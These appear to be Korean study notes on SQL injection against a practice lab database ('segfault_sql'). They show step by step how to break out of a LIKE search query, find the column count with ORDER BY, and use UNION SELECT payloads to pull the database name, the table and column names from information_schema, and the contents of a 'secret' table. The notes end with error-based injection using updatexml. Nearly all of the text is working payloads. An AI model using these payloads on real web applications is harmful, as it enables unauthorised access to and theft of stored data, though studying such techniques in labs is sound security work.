ex) 게시판 쿼리문을 통해서 질의를 하고 응답을 받음. 회원정보(마이페이지)
주소 검색, 검색 페이지 ... 등등
SQL Injection (select ~~~) UNION (select ~~~~~)
select ???? from ????? where name like '%@@@%'
and 1=1
watch%' and '1%' = '1
select ???? from ????? where name like '%watch%' and '1%' = '1%'
#의 경우 마지막에 쓸 것!
watch%' order by 5#
오류 나는 것을 보아 차수가 4임을 알 수 있다.
select ???? from ????? where name like '%@@@%'
@@@ = watch%' union select '1', '2', '3', '4
select ???? from ????? where name
like '%watch%' union select '1', '2', '3', '4%'
Select database()
@@@ = watch%' union select '1', database(), '3', '4
select ???? from ????? where name like '%watch%' union select '1', database(), '3', '4%'
select table_name from information_schema.tables
where table_schema = 'segfault_sql'
@@@ = watch%' union select '1', table_name, '3', '4' from information_schema.tables where table_schema = 'segfault_sql' #
select ???? from ????? where name like '%watch%'
union select '1', table_name, '3', '4'
from information_schema.tables
where table_schema = 'segfault_sql'#
select [컬럼이름] from [테이블 이름]
Select column_name from information_schema.colums
where table_name='secret'
@@@ = watch%' union select '1', column_name, '3', '4'
from information_schema.columns
where table_name='secret'#
select ???? from ????? where name like '%watch%'
union select '1', column_name, '3', '4'
from information_schema.columns
where table_name='secret'#
select secret from secret
@@@ = watch%' union select '1', secret, '3' ,'4' from secret
select ???? from ????? where name like '%watch%'
union select '1', secret, '3' ,'4' from secret
1' and (내가 넣고 싶은 질문) and '1' = '1
1' and updatexml(null, concat(0x3a, 'test'), null) and '1' = '1
1' and updatexml(null, concat(0x3a, (select database())), null) and '1' = '1
select table_name from information_schema.tables
where table_schema = 'segfault_sql'
1' and updatexml(null, concat(0x3a, (select table_name
from information_schema.tables
where table_schema = 'segfault_sql')), null)
and '1' = '1
1' and updatexml(null, concat(0x3a, (select table_name
from information_schema.tables
where table_schema = 'segfault_sql' limit 0,1)), null)
and '1' = '1